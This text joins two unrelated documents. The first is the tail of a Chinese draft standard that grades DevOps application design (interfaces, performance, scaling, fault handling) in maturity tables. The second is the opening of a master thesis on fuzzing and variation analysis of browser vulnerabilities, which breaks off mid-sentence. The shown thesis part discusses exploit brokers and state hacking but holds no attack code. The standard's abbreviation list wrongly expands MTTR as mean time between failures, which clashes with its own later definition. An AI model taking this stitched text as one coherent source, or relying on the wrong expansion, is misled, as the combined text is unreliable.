件。凡是不注日期的引用文件,其最新版本(包括所有的修改单)适用于本文件。
[1] YD/T 1171-2001 IP网络技术要求——网络性能参数与指标
[2] YD/T 1823-2008 IPTV业务系统总体技术要求
[3] YD/T 1489-2006 数字蜂窝移动通信网移动流媒体业务总体技术要求
3 术语
下列术语和定义适用于本文件。
3.1 软件架构 Software Architecture
软件架构是计算系统的软件架构是解释该系统所需的结构体的集合,其中包括软件元素,元素之间的相
互关系和二者各自的属性。
3.2 应用程序 Application program
指研发团队生产的可基于运行时环境运行的软件包。
3.3 运行时环境 Runtime Environment
运行时环境指应用程序进入运行态的软件环境,包括操作系统、中间件、计算机程序设计语言编译
器、计算机程序设计语言解释器、环境变量、SDK 等非研发团队的应用程序产出。
3.4 软件包 Software Package
通过计算机程序设计语言编写并生成的可运行计算机的代码集合。
4 缩略语
下列缩略语适用于本文件。
XX/T XXXXX—XXXX
2
DevOps a portmanteau of development and operations 一组过程、方法与系统的统
称
JSON JavaScript Object Notation JS 对象标记
HTTP HyperText Transfer Protocol 超文本传输协议
MTTF Mean Time To Failure 平均失效前时间
MTTR Mean Time Between Failures 平均恢复前时间
RPC Remote Procedure Call 远程过程调用
TCP Transmission Control Protocol 传输控制协议
XML eXtensible Markup Language 可扩展标记语言
5 应用设计
DevOps技术能力包括开发技术、测试技术、运维技术等能力,其中开发技术中最核心的是应用设计
相关技术,应用设计的分级技术要求包括:应用接口、应用性能、应用扩展和故障处理,如表1所示。
表1 应用设计分级技术要求
应用设计
应用接口
应用性能
应用扩展
故障处理
传输协议
实际性能
水平扩展
日志
数据协议
可用性
垂直扩展
监控
内容协议
故障追踪
接口治理
故障修复
5.1 应用接口
是指软件系统不同组成部分衔接的约定。
5.1.1 接口规范
是指通过接口标准化制定统一的规范和处理方式,降低接口的复杂度,减少接口对接的工作量,从
而提升应用交付的速度和效率。
5.1.1.1 传输协议
指应用系统间传输数据所用的协议,例如TCP、HTTP、RPC等。
5.1.1.2 数据协议
指应用系统间传输的数据所采用的格式,例如 JSON、XML、私有协议等。
5.1.1.3 内容管理
指应用系统间传输的数据内容有统一的标准管理,例如JSON数据应该包含哪些字段。
表2 应用接口
级别
传输协议
数据协议
内容协议
XX/T XXXXX—XXXX
3
1
各应用系统分别对外提供不
同的传输协议,例如 A 系统
提供 HTTP、B 系统提供二进
制,C 系统提供 RPC
各应用系统分别对外提供不
同的数据协议,例如 A 系统
对外提供 XML 数据,B 系统对
外提供 JSON 数据
各应用系统分别对外提供不
同的内容协议,例如同样是
JSON 格式,A 系统 Json 数据
键命名风格是下划线,B 系统
Json 数据键命名风格是驼峰
式
2
各应用系统约定了统一的传
输协议,例如指定采用 HTTP
传输协议
各应用系统约定了接口间传
输的数据协议,例如指定数
据协议为 XML
各应用系统约定了接口间传
输的内容协议,例如 Json 的
命名规范,最大长度等
3
各应用系统约定了统一的传
输协议和协议规范,例如采
用
HTTP
协 议 时 , 指 定
Content-Type、 Connection
等 header 的配置
各应用系统约定了统一的数
据协议和数据规范,例如采
用 XML 格式时,哪些信息用
属性表示,哪些信息用元素
表示
各应用系统约定了接口间传
输的内容协议规范,例如指
定 JSON数据必须包含这些字
段 : requestID , caller ,
source,time,response
4
提供了统一的接口开发库或
者开发包,各应用系统统一
使用开发库或者开发包来完
成协议解析和处理
提供了统一的数据编解码开
发库或者开发包,各应用系
统统一使用开发库或者开发
包
提供了统一的内容编解码开
发库或者开发包,各应用系
统统一使用开发库或者开发
包
5
提供了统一的开发框架,开
发框架集成了协议处理,可
以通过简单的方式就能够对
外提供接口,例如通过
SpringBoot 的
@RestController 注解方式
提供接口
提供了统一的开发框架,开
发框架集成了协议处理,可
以通过简单的方式就能够对
外 提 供 接 口 , 例 如 通 过
SpringBoot 的注解方式
提供了统一的开发框架,开
发框架集成了协议处理,可
以通过简单的方式就能够对
外 提 供 接 口 , 例 如
SpringBoot 的注解方式
5.1.2 接口管理
接口规范是指利用统一的接口规范约束各个系统按照统一的标准规范操作,并对应用系统提供的
接口进行管理,主要内容包括接口查询和权限控制,如表 2 所示。
5.1.2.1 接口查询
应用系统需要查询其它应用系统提供的接口,应确保接口符合规范。
5.1.2.2 权限控制
应用系统对外提供的接口,需要进行权限控制,例如部分敏感数据的访问。
表3 接口管理
级别
接口查询
权限控制
接口规范管理
1
各应用系统自己维护接口文档,通
过邮件或者即时通信的方式传送
接口文档
各应用系统对外提供的接口没有
权限控制能力
自行定义的格式的接口规范,接口
规范相对松散。
XX/T XXXXX—XXXX
4
2
提供统一的接口查询平台,各个应
用系统开发人员在这个平台上手
工填写自己系统的接口信息
各应用系统自己实现基本的访问
控制权限
有统一的接口规范,但接口由标准
自由定义。例如:无标准的
XML ,Json
3
提供统一的接口查询平台,各个应
用系统开发人员可以从代码导出
接口信息,然后发布在接口信息查
询平台
各应用系统自己实现了访问控制
和细粒度的数据控制权限
有统一的接口规范,接口遵循相应
的标准规范。例如:wsdl,
swagger.io
4
提供统一的接口查询平台,各个应
用系统开发人员可以从代码导出
接口信息,然后发布在接口信息查
询平台
各应用系统自己实现了访问控制
和细粒度的数据控制权限
a) 有统一的接口规范,接口遵循
相应的标准规范。
b) 接口规范由统一的基础设施中
心化管理。
例如:依照规范设立的集中式 API
Gateway
5
提供统一的接口平台,各个应用系
统可以自动注册接口相关信息,接
口平台可以自动测试接口是否符
合规范要求。
提供统一的接口权限管理平台,平
台统一管理接口的访问控制权限
和数据控制权限。
a) 有统一的接口规范,接口遵循
相应的标准规范。
b) 接口规范由 API 按照标准的
方式去中心化管理。
例如: 依照规范设立的分布式服务
网格(Service Mesh)
5.2 应用性能
应有性能是对应用实际性能(Real Performance,与感知性能 Perceived performance 相对)和可
用性(Availability)的度量,是衡量应用服务水平的重要指标。
5.2.1 实际性能
实际性能是指用户实际体验的性能,例如在正常载荷或者最大载荷情况下平均响应时间。通过两个
指标进行度量,如下:
a) 应用在一定载荷(Load,例如请求数/秒、事务数/秒、页面数/秒)情况下对最终用户请求的
响应时间;
b) 应用在一定载荷情况下计算资源消费情况,包括CPU、内存、IO、网络带宽等。通过计算资源
消费情况判断计算资源是否支持指定的载荷,或者建立资源消费情况基线,在应用生命周期中
追踪应用性能变化。
5.2.2 可用性
可用性是指在要求的外部资源得到保证的前提下,产品在规定的条件下和规定的时刻或时间区间
内处于可执行规定功能状态的能力。它是产品可靠性、可维护性和维护保障性的综合反映。可用性一般
通过冗余和故障转移的方式获得。
5.2.2.1 系统可用性
是指系统服务不中断运行时间占实际运行时间的比例。
5.2.2.1.1 系统可用性指标
XX/T XXXXX—XXXX
5
系统可用性指标定义为:MTTF/(MTTF+MTTR) * 100% ,其相关的两个指标定义如下:
MTTF: mean time to failure,平均失效前时间,也就是平均正常运行的时间。
MTTR: mean time to restoration, 平均恢复前时间,也就是平均故障时间。
表4 应用性能
级别
实际性能
可用性
1
a) 各模块独自处理性能问题,采用
不同的性能方案,性能结果是被
动获得;
b)
性能指标散布在日志中,采用手
工方式计算性能指标。
a)
应用没有进行冗余设计,不支持
高可用;
b)
故障问题没有设计统一的故障恢
复方案;
2
a) 对于典型的性能问题进行了个性
化设计,解决局部性能问题;
b)
对部分性能指标进行度量;
c)
部分性能指标采用个性化方式可
视化;
a)
应用部分子系统(例如应用服务
器、数据库、web 服务器等)或者
IT 设施(网络、存储、主机等)进
行冗余和故障转移设计,支持部分
高可用;
b)
对于部分可用性故障问题有故障
恢复方案;
3
a)
站在最终用户的视角,对应用进行
系统化性能设计;
b)
支持对性能进行全方位度量,从端
到端性能到系统各层性能;
c)
支持性能指标实时采集;
d)
设计或者采用第三方工具对性能
进行可视化,并支持性能问题追
溯;
a)
应用子系统和 IT 设施有系统化的
冗余和故障转移设计,整个系统全
面支持高可用;
b)
应用子系统和 IT 设施的设计完整
的故障恢复方案,人工可按照恢复
方案进行故障恢复;
c)
设计应用子系统和 IT 设施可用性
检查(健康检查)方案;
d)
设计或者采用第三方工具对可用
性可视化;
4
a)
设计或外购统一性能管理支持平
台,支持性能管理循环;
b)
建立性能管理制度化机制,平台支
持制度化性能设计流程,支持性能
度量、分析、追溯、定位、响应、
a)
建立高可用管理支持平台,统一支
持应用子系统和 IT 设施的可用性
监控和预警;
b)
建立高可用制度化机制,高可用管
理支持平台可用性管理机制实施;
XX/T XXXXX—XXXX
6
评估性能管理循环;
c) 平台支持性能问题预警;
c)
支持自动化故障恢复过程;
d)
支持制度化进行灾备演习,确保故
障恢复方案有效,缩短故障恢复时
间;
5
a)
支持实时性能指标自动分析能力,
对于一些常见性问题能够进行问
题自动定位;
b)
对于一些常见的自动定位问题能
够进行智能处理(例如扩容等);
c)
支持制度化评估性能管理机制和
平台,支持卓越性能管理;
a)
支持实时可用性自动分析,支持常
见问题自动定位;
b)
自动定位的常规问题执行故障自
动恢复;
c)
制度化评估可用性管理机制和平
台,支持高可用卓越管理;
5.3 应用扩展
应用程序在达到最大负载时,能够支持以下方式进行扩展,以保证系统稳定运行。如表 5 所示。应
用扩展性是应对高并发的重要手段,扩展包括三个维度,如下:
a)
X 轴 – 是否支持水平扩张(容量扩展),应用可以复制多个实例,共同提供服务;
b)
Y 轴 – 是否支持垂直扩展(服务资源),将应用的不同模块部署在不同的进程中;
c)
Z 轴 – 是否支持数据扩展(数据存储),将数据分散在多个存储单元中;
应用系统的容量需求会随着业务的发展而增加,容量扩展与应用架构相关,当应用架构具备容量扩
展的能力,才能完成容量扩展操作。
表5 应用扩展
级别
水平扩展
垂直扩展
1
a)
系统容量不支持水平扩展。
b)
扩展时系统性能受影响。
a)
应用没有进行切分,采用一个巨石架构,所有
功能归集在一个发布包中;
b)
应用内部没有或者进行了简单的逻辑分层。
c)
部署不可回滚,或者回滚后需要人工进行数据
修复
d)
单个子系统部署耗时 30 分钟以上。
2
a)
系统容量支持水平扩展,能够根据
业务的需要通过手工的方式扩展容
量,但扩展到一定容量后无法继续
a)
应用按照经验进行了简单拆分,将大应用分为
若干独立的子系统,各个子系统独立部署。
b)
子系统职责定义清晰,子系统没有分层,控制
XX/T XXXXX—XXXX
7
扩展。
b)
扩展时系统性能受影响。
例如:负载均衡的业务系统可以扩展,
但扩展到一定程度后数据库成为瓶颈,
单独扩展业务系统容量无法提升系统容
量。
循环依赖;
c)
单个子系统部署耗时不超过 30 分钟
d)
80%业务版本需要多个子系统联动升级,升级
有先后顺序
3
系统容量支持水平扩展,能够根据业务
的需要通过手工的方式按需扩展。
a)
由架构设计人员采用领域驱动设计方法对应用
进行拆分,定义各个拆分的职责,各个拆分可以
独立继续部署。
b)
架构设计人员采用领域驱动定义应用切分分层
及各层职责,各层之间严格控制调用关系(例如
上层可以调用下层或者同层),控制依赖的复杂
性。
c)
单个服务系统部署时间不超过 10 分钟。
d)
30%以下的业务版本需要多个服务系统联动升
级。
4
a)
系统容量支持水平扩展,系统能够
自动的根据业务需要扩展容量。
b)
扩展时系统性能不受影响。
例如:使用 Docker、虚拟机等
a)
对应用架构的拆分定义明确的指标和评估方法,
有完整的指标收集方法和流程,并对拆分后的
应用健壮性进行评估;
b)
对模块耦合性定义指标和评估方法,有完善的
流程对指标数据进行评估。
c)
单个子系统部署耗时 5 分钟以内。
d)
10%以下的业务版本需要多个服务系统联动升
级。
5
a)
系统具备动态容量管理能力,能够
根据系统负载 1 分钟内自动扩容,
并且在容量过剩的时候根据一定的
策略进行缩容。
b)
扩展时系统性能不受影响。
a)
依据指标对架构拆分情况进行评估,并提出实
施架构改进措施;
b)
依据耦合性指标数据评价耦合性现状,有完善
的流程和方法对耦合性进行控制。
c)
单个子系统部署耗时 1 分钟之内。
XX/T XXXXX—XXXX
8
例如:电商大促、秒杀等场景根据流量
自动扩容
d)
没有业务版本需要多个服务系统联动升级。
5.4 故障处理
故障处理(Troubleshooting)是指在系统失效、停止响应或出现异常时识别、规划和解决系统问题的
过程,帮助修理和恢复系统。在系统运行过程中,由于运行环境的变化、软件本身的缺陷等原因,可能造成
系统运行故障。在系统出现故障时,要求运维人员能够快速发现和解决故障,即快速的故障处理。故障处理
过程循环包括五个步骤,即故障发现、故障追踪、故障解决方案设计、故障排除和故障记录。
复杂系统往往由多个子系统构成,任何一个最终用户的操作可能涉及多个子系统之间复杂的协作,故障
发现、追踪和排除是一个复杂的过程,快速故障处理需要应用设计提供基础故障处理能力。
应用设计从以下几个方面支持故障处理过程,包括日志(记录故障现场)、监控(发现故障)、故障
追踪(定位故障)和故障修复,如表 6 所示。
5.4.1 日志
日志是指对系统运行过程的记录,分为开发日志和业务日志。开发日志是记录代码调用过程和状态,
例如 JAVA 程序员一般用 log4j 工具输出开发日志。业务日志是对用户业务操作行为及结果的记录,一
般需要设计独立的工具进行支持。
业务系统拆分为多个子系统后,如果需要了解整个业务的运行情况,需要综合多个子系统的监控信
息,将多个子系统的监控信息关联起来才能得出业务整体的运行状态信息。
通过监控标准化制定统一的监控规范、监控对象、监控数据,监控系统能够将多个子系统上的监控
信息关联起来形成业务整体监控信息。
5.4.2 监控
应用设计需要支持将系统的运行情况实时展示监控信息。系统能够通过工具随时查看当前系统的
运行情况;以便系统运行出现故障时,研发、测试、运维人员等能够及时的获取整个系统的运行情况,
进行快速的故障判断和处理。
根据运维提供的监控规范、监控对象、监控指标,应用设计需要支持运维系统能将分散在多个子系
统上运行情况实时的展现出来,并关联起来形成整体监控信息,保证系统可监控。
5.4.3 故障追踪
故障追踪是指应用设计能够支持对实时监控或其它方式获得的问题进行调用链分析,定位故障根
源,为故障处理提供依据。例如,对于复杂的分布式系统,一个客户请求涉及来自多个机器的多个进程
的多个服务协作,故障的定位是一个复杂过程。
5.4.4 故障修复
故障修复是指应用设计支持自动修复常见的故障,例如流量突增、硬件损坏、网络拥塞等,当故障
发生时,系统除了进行告警外,还能够自动采取一定应对措施及时处理,降低故障影响范围和程度,减
少故障影响时长。对于一些不常见的故障,支持人工故障修复。在故障处理完成之后,还需要记录故障,
以便后期进行故障分析和积累故障管理知识。
XX/T XXXXX—XXXX
9
表6 故障处理
级别
日志
监控
故障追踪
故障修复
1
a) 各应用模块/层
采用不同的规范
和格式输出开发
日志;
b) 开发日志存储在
各 个 运 行 环 境
中;
c)
日志记录随意,
缺乏完整性;
开发和运维分离,开
发 独 立 完 成 监 控 设
计。
系统是黑盒状态,运
行状态无法获取,出
现问题仅靠运维人员
经验猜测或者看源代
码推断。
系 统 无 故 障 处 理 能
力,出现故障后需要
人工处理。
2
a) 模块/层并制定
并实施了开发日
志规范;
b)
开发日志完整记
录 程 序 调 用 过
程;
a)
制定了架构层面
标准化监控的规
范
b)
各系统按照规范
独立实现监控功
能
依靠人工方式进行日
志分析。
系统提供故障处理能
力,但需要人工触发
操作,例如手工降级、
手工倒换、手工切换
冷备机房。
3
a) 开发日志记录统
一追溯标示,开
发日志支持调用
链分析;
b) 有统一开发日志
存储环境集中日
志实时存储;
c)
设计专门业务日
志系统,系统支
持 业 务 日 志 收
集;
a) 运维人员在应用
设计前,提供完善的
监控规范、监控对象
和监控指标;
b) 运维人员全程参
与应用设计;
c) 按照监控规范要
求进行完整的监控设
计;
a) 有专门的故障追
踪工具;
b) 系统的关键信息
能够通过日志查
看;
c) 单个子系统提供
输入输出相关的
监控,图形化展
示,例如:吞吐
量、响应时间、错
误码分布。
当出现硬件级别的故
障时,系统能够在 5
分 钟 内 自 动 恢 复 业
务。常见手段如主备、
集群
4
a) 支持端到端开发
日志记录;
b) 开发日志与业务
日志能相互贯通;
c)
业务日志支持敏
支持监控系统能够基
于不同系统的监控信
息,构建全链路、全业
务监控。此项能力关
注的是监控信息关联
和展示
a) 单个子系统提供
处理流程相关的
监控,图形化展
示,例如:输入
(请求量)、输出
(响应时间)、处
当出现机房级别的故
障时(机房断电、机房
被 攻 击 、 流 量 突 发
等),系统能够在 5 分
钟内自动自动恢复业
务。常见手段如同城
双活、限流。
XX/T XXXXX—XXXX
10
感业务审计;
理步骤(访问数
据库的性能)等;
b) 多个子系统的监
控信息能够关联
起来形成整个业
务系统的监控全
景。
5
建立制度化日志评审
机制,定期对日志质
量进行评估,提高日
志有效性。
监控系统能够基于全
链路、全业务监控进
行自动化预警、故障
定位。此项能力关注
的是监控信息分析和
诊断
a)
整个业务系统的
监控能够进行自
动预警;
b)
多个业务子系统
能够针对具体的
请求进行细粒度
的监控,监控信
息 能 够 关 联 起
来,形成业务请
求全链路监控。
例如微服务系统
里面的全链路跟
踪。
当出现地理位置级别
的故障时,系统能够
在 5 分钟内自动恢复
业务。常见手段如异
地多活。
XX/T XXXXX—XXXX
11
参 考 文 献
_________________________________ | pdf |
MASTER THESIS
Thesis submitted in partial fulfillment of the requirements
for the degree of Master of Science in Engineering at the
University of Applied Sciences Technikum Wien –
Degree Program IT-Security
Variation analysis of exploitable
browser vulnerabilities
By: René Freingruber, BSc
Student number: 1810303034
Supervisors:
1. Supervisor: Dipl.-Ing. (FH) Mag. DI Christian Kaufmann
2. Supervisor: Patrick Wollgast, MSc
Vienna, 2020-09-13
Declaration
“As author and creator of this work to hand, I confirm with my signature knowledge of the
relevant copyright regulations governed by higher education acts (see Urheberrechtsgesetz
/Austrian copyright law as amended as well as the Statute on Studies Act Provisions /
Examination Regulations of the UAS Technikum Wien as amended).
I hereby declare that I completed the present work independently and that any ideas,
whether written by others or by myself, have been fully sourced and referenced. I am aware
of any consequences I may face on the part of the degree program director if there should
be evidence of missing autonomy and independence or evidence of any intent to fraudulently
achieve a pass mark for this work (see Statute on Studies Act Provisions / Examination
Regulations of the UAS Technikum Wien as amended).
I further declare that up to this date I have not published the work to hand nor have I
presented it to another examination board in the same or similar form. I affirm that the version
submitted matches the version in the upload tool.”
Place, Date
Signature
3
Kurzfassung
Web Browser zählen zu den am häufigsten verwendeten Programmen auf Computern und
Smartphones. Sie stellen daher ein attraktives Angriffsziel für staatliche Akteure und
finanziell motivierte Hacker dar.
Obwohl marktführende Browser eine Vielzahl an modernen Schutzmaßnahmen
implementieren, kann regelmäßig demonstriert werden, dass Schwachstellen dennoch
ausgenutzt und Systeme von Opfern, ohne deren Wissen, übernommen werden können.
Hersteller wie Google versuchen daher, neben dem Härten ihres Browsers, Schwachstellen
proaktiv vor Angreifern aufzudecken. Eine häufig eingesetzte Technik zum automatisierten
Auffinden von Schwachstellen ist Fuzzing. Bei dieser Technik wird der Browser mit zufällig
generierten Webseiten gestartet, bis eine dieser zum Absturz führt. Diese kann in weiterer
Folge analysiert werden, um den zugrundeliegenden Fehler im Code des Browsers zu
identifizieren und zu beheben.
Beim Browser Fuzzing werden insbesondere Eingabedateien durch das zufällige Ableiten
von Grammatikregeln aus Definitionsdateien erzeugt. Eine andere Strategie ist das zufällige
Mutieren von Eingaben, welche durch Metriken wie der Code-Abdeckung immer tiefer in die
Code-Basis vordringt und weitere Sonderfälle aufdeckt.
Beiden Strategien liegt zugrunde, dass das Resultat von zufälligen Operationen wie das
Auswählen der Grammatikregel oder der Mutationsstrategie abhängt. Das Auffinden von
Schwachstellen ist daher besonders ressourcenintensiven, da der potenzielle Suchraum
enorm groß ist. Die Verbesserung der Effizienz dieses Prozesses ist daher von
entscheidender Bedeutung, um die Sicherheit der Systeme von Endanwendern
gewährleisten zu können
Die Zielsetzung dieser Arbeit ist zu identifizieren, ob Schwachstellen, welche in den letzten
Jahren veröffentlicht wurden und zu welchen ein öffentlicher Exploit existiert,
Gemeinsamkeiten oder ähnliche Strukturen aufweisen. Hierzu wurde das Internet nach
solchen Schwachstellen durchsucht, diese anschließend kategorisiert sowie tiefgehend
analysiert. Die gewonnen Informationen wurden in einem Fuzzer implementiert, um den
Suchraum einzuschränken und somit ressourcenschonend und effizienter bisher
unbekannte Variationen der analysierten Schwachstellen aufzudecken.
Zur Evaluierung wurde die JavaScript Implementierung von Google Chrome für eine Woche
auf einem Heimrechner getestet. In diesem Zeitraum konnte eine kritische Sicherheitslücke
identifiziert werden, welcher allerdings bereits von einem anderen Forscher an Google
gemeldet wurde. Weiters konnte im Zuge der Schwachstellenanalyse eine neue
Sicherheitslücke in Foxit Reader identifiziert und erfolgreich ausgenutzt werden.
Schlagwörter: Browser Schwachstellen, Fuzzing, Variationsanalyse, JavaScript
4
Abstract
Web browsers are among the most used programs on computers and smartphones. They
thus represent an attractive target for state-sponsored actors and financially motivated
hackers.
Although market-leading browsers use a variety of modern memory corruption protections,
it is regularly demonstrated that vulnerabilities can be exploited to compromise systems
without the victim’s knowledge.
Companies such as Google attempt, besides to hardening their browsers, to proactively
uncover vulnerabilities before attackers identify them. A frequently used technique for
automated vulnerability detection is fuzzing. Using this technique, the browser repeatedly
loads randomly generated web pages until one of them leads to a crash. This website can
then be analyzed to identify and fix the underlying flaw.
When fuzzing browsers, two common approaches exist. In the first approach, input files are
generated by randomly deriving grammar rules from definition files. Another strategy is the
random mutation of input files from a corpus. By using metrics such as code coverage, the
fuzzer can advance deeper and deeper into the codebase to trigger edge cases.
The results of both strategies depend on random operations such as the selection of the
grammar rule or the mutation strategy. Detecting vulnerabilities using fuzzing is therefore
resource-intensive since the potential search space is enormous. Improving the efficiency of
this process is hence crucial to ensure the security of end-users.
The goal of this work is to identify whether vulnerabilities, which have been reported in recent
years and for which a public exploit exists, share similarities or follow the same structure.
For this purpose, the internet was searched for such vulnerabilities, which were then
categorized and analyzed in depth. The information obtained was implemented in a fuzzer
to reduce the search space and thus to uncover previously unknown variations of the
vulnerabilities analyzed in a resource-saving and more efficient way.
For evaluation purposes, the JavaScript implementation of Google Chrome was tested for
one week on a home computer. In this period, a critical vulnerability was identified, which
has already been reported to Google by another researcher. Furthermore, during the
analysis of the vulnerabilities, a new vulnerability in Foxit Reader was identified and
successfully exploited.
Keywords: Browser Vulnerabilities, Fuzzing, Variation Analysis, JavaScript
5
Table of contents
1
Introduction ..........................................................................................................7
1.1
Google Chrome .................................................................................................11
1.2
Mozilla Firefox ...................................................................................................12
2
Thesis goal ........................................................................................................13
3
Previous work ....................................................................................................14
4
Analysis of vulnerability patterns ........................................................................21
4.1
Classic vulnerabilities in the render engine ........................................................22
4.1.1
OOB memory access .........................................................................................22
4.1.2
Integer overflows ...............................................................................................24
4.1.3
Use-after-free bugs ............................................................................................25
4.2
Classic vulnerabilities in the JavaScript engine ..................................................31
4.2.1
Missing write-barrier for garbage collection ........................................................31
4.2.2
Integer overflows ...............................................................................................35
4.2.3
Implementation bugs .........................................................................................38
4.2.4
Type-Confusion bugs .........................................................................................40
4.3
Redefinition vulnerabilities .................................................................................46
4.3.1
Redefined function modifies expected behavior .................................................46
4.3.2
Redefined function modifies array length ...........................................................49
4.3.3
Redefined function modifies array buffer ............................................................54
4.4
Privileged JavaScript execution .........................................................................57
4.4.1
Stack walking vulnerabilities ..............................................................................57
4.4.2
JavaScript code injection into privileged code ....................................................58
4.5
JIT optimization vulnerabilities ...........................................................................62
4.5.1
Missing or incorrect type checks ........................................................................63
4.5.2
Missing or incorrect bound checks .....................................................................77
4.5.3
Wrong annotations or incorrect assumptions .....................................................81
4.5.4
Missing minus zero type or NaN information ......................................................93
4.5.5
Escape analysis bugs ........................................................................................98
4.5.6
Implementation bugs ....................................................................................... 103
4.6
Not covered vulnerabilities ............................................................................... 105
6
5
Applying variation analysis ............................................................................... 107
5.1
Adaption of a state-of-the-art fuzzer ................................................................. 107
5.2
Corpus generation ........................................................................................... 111
5.2.1
Corpus of JavaScript code snippets ................................................................. 111
5.2.2
Corpus of JavaScript code templates............................................................... 119
5.2.3
Initial test case analysis and type reflection ..................................................... 123
5.3
Fuzzing ............................................................................................................ 124
5.4
Results ............................................................................................................ 125
5.4.1
Example of an identified high-severity security vulnerability ............................. 126
6
Discussion ....................................................................................................... 128
7
Conclusion and future work ............................................................................. 130
Bibliography .................................................................................................................... 132
List of figures................................................................................................................... 136
List of abbreviations ........................................................................................................ 136
.
7
1 Introduction
Although new protections have evolved in recent years, the security of web browsers is still
heavily affected by memory corruption vulnerabilities. Exploitation of these vulnerabilities is
a common initial exploitation vector used by APT groups during real-world attacks. Google
Project Zero collects [1] discovered zero-day vulnerabilities that were exploited in-the-wild.
Memory corruptions were identified as the root cause of 68 percent of all listed vulnerabilities
[1]. This statistic is supported by researchers from the Microsoft Security Response Center.
They identified that on average 70 percent of vulnerabilities addressed through a security
update are memory safety issues [2]. Likewise, the Chromium team also identified in an
analysis 1 of 912 security bugs that around 70 percent of serious security bugs are memory
safety problems.
Research teams regularly demonstrate in exploitation competitions like Pwn2Own,
HackFest, PwnFest, Hack2Win, Pwnium, Driven2Pwn or the Tian Fu Cup that all major
browsers can be exploited. This indicates that many vulnerabilities are still hidden in the
huge code base of modern browsers which can be exploited by state-sponsored attackers
or criminals. It also demonstrates the lack of current in-place memory corruption protections
and that they are unsatisfactory to prevent exploitation of some vulnerabilities. Further
research is required to better understand these bug classes to protect against them.
According to public price lists exploit brokers such as Zerodium 2 pay up to $500,000 for
Google Chrome exploits with sandbox escapes and up to $2,500,000 for Android exploit
chains at the time of writing. Another vulnerability broker lists payouts of $300,000 –
$400,000 for Google Chrome exploits without sandbox escapes with 95% reliability and
approximately three seconds of execution time [3]. Incredity, an exploit broker located in
Germany, pays up to €500,000 for Google Chrome or Apple Safari exploits 3.
Threat actors use such exploits not only against terrorists but also to target human rights
activists, journalists and political rivals. The company DarkMatter, located in Abu Dhabi, used
iPhone exploits to target activists, political leaders and suspected terrorists as part of project
Raven 4. FinFisher, a company that develops and sells spy software, faces a charge for
selling its software to Turkey, where it was used against its largest opposition party CHP 5.
The mobile phone of Jeff Bezos, founder and CEO of Amazon, was hacked in 2018 via a
WhatsApp message 6. The attackers exfiltrated private nude pictures and used them to
blackmail Bezos.
1 https://www.chromium.org/Home/chromium-security/memory-safety
2 https://zerodium.com/program.html
3 https://twitter.com/IncredityTech/status/1255513421304541184
4 https://www.reuters.com/investigates/special-report/usa-spying-raven
5 https://www.sueddeutsche.de/digital/finfisher-tuerkei-ermittlung-chp-spyware-handy-software-1.4587473
6 https://www.theguardian.com/technology/2020/jan/21/amazon-boss-jeff-bezoss-phone-hacked-by-saudi-
crown-prince
8
Jamal Khashoggi, a Saudi Arabian journalist, was killed in 2018. He sent private messages
to Omar Abdulaziz whose phone was infected by the Pegasus malware, which the Israel
based company NSO Group develops. The malware was used to spy on these
conversations. "The company's technology takes advantage of what is known as 'zero days'
- hidden vulnerabilities in operating systems and apps that grant elite hackers access to the
inner workings of the phone.” 7
Hacking team is another company that developed spyware. The company was hacked in
2015 by an individual named Phineas Phisher, resulting in a leakage of all their developed
Windows and Flash zeros days to the public. The leaked documents revealed that sales to
Sudan and Russia violated sanctions by the United Nations8.
The FBI used at least two times Tor browser exploits to deanonymize visitors of child
pornography websites on the darknet. CVE-2013-1690 was analyzed by security experts
and became shortly afterwards available to the public 9. Three years later a similar incident
happened. The exploit for CVE-2016-9079 was developed 10 by Exodus Intelligence and was
used by the FBI to target child pornography distributors. The exploit was leaked to the public
again.
A person with the online pseudonym Brian Kil threatened and terrorized underage girls on
online platforms such as Facebook for several years. Brian Kil used the Tails operating
system with the Tor browser to hide his identity. The FBI was involved in the case and
attempted to hack the person, however, the attack failed because the exploit was not tailored
for Tails. After the failed attempt Facebook commissioned in 2017 a third-party company to
develop a 0-day exploit which could be used to deanonymize the identity of the person. The
exploit targeted Tail's video player and was not directly handed to the FBI. It is the first and
only time Facebook has ever helped law enforcement to hack a target.11
The Equation Group, that is tied to the NSA’s tailored access operations unit, was hacked in
2016 by a group named The Shadow Brokers. The group published several zero-days
developed by the NSA in 2017. Although a patch was already available upon release of the
exploit, criminals could still use it to compromise over 200,000 machines in just two weeks
12.
These attacks were possible although the attacked applications and browsers implemented
modern mitigation techniques. The security of Google Chrome, Microsoft Edge and Microsoft
7 https://edition.cnn.com/2019/01/12/middleeast/khashoggi-phone-malware-intl/index.html
8 https://www.bankinfosecurity.com/hacking-team-zero-day-attack-hits-flash-a-8384
9 https://blog.rapid7.com/2013/08/07/heres-that-fbi-firefox-exploit-for-you-cve-2013-1690/
10 https://www.forbes.com/sites/thomasbrewster/2016/12/02/exodus-intel-the-company-that-exposed-tor-for-
cops-child-porn-bust
11 https://www.vice.com/en_us/article/v7gd9b/facebook-helped-fbi-hack-child-predator-buster-hernandez
12 https://www.cyberscoop.com/leaked-nsa-tools-now-infecting-over-200000-machines-will-be-weaponized-for-
years/
9
Internet Explorer was evaluated by two independent whitepapers in 2017. The results [4] [5]
point out that Google Chrome and Microsoft Edge implement most of today’s available
memory corruption protections.
“It is clearly visible that newer browsers like Google Chrome and Microsoft Edge are
designed to be secure and hardened against exploits. Restrictive enforcement of secure
behaviour, strong sandboxing, mitigations such as hardened compiler flags and runtime
restrictions make exploiting browsers a much harder task than before.” [4]
The difficulty of developing a browser exploit nowadays is also supported by a cite from
SophosLabs: “Due to the numerous security mitigations applied to today’s operating systems
and programs, developing a functional exploit for a memory corruption vulnerability in a web
browser is no easy feat.“ 13
The security of the Tor browser, a modified version of Mozilla Firefox ESR, was evaluated
in a research engagement in 2014 [6]. The audit revealed that the security feature ASLR and
others were not enabled on Windows and Mac due to a non-standard compiler toolchain.
However, this is nowadays fixed.
Although browsers support modern memory mitigation protections and exploitation of
vulnerabilities is a complex venture, exploitability could still be demonstrated in various
exploitation competitions and in real world. This indicates that current in-place protections
are not enough to withstand exploitation attempts from experienced research teams or APT
groups. Further research in this area is required to develop new techniques that discover
vulnerabilities more efficiently. Research in the field of web browser security is therefore of
significant importance.
Modern web browsers are composed of the following main components:
•
Browser engine / HTML render engine
The browser engine is the core of the web browser and is responsible to render the
HTML code, manage the DOM and display websites based on defined layouts in CSS.
Initially, Google Chrome used the WebKit engine up to version 27. WebKit is also
currently used by Apple Safari. Nowadays Google Chrome uses the Blink engine, a fork
of WebKit. At the end of 2018 Microsoft announced that Microsoft Edge is going to switch
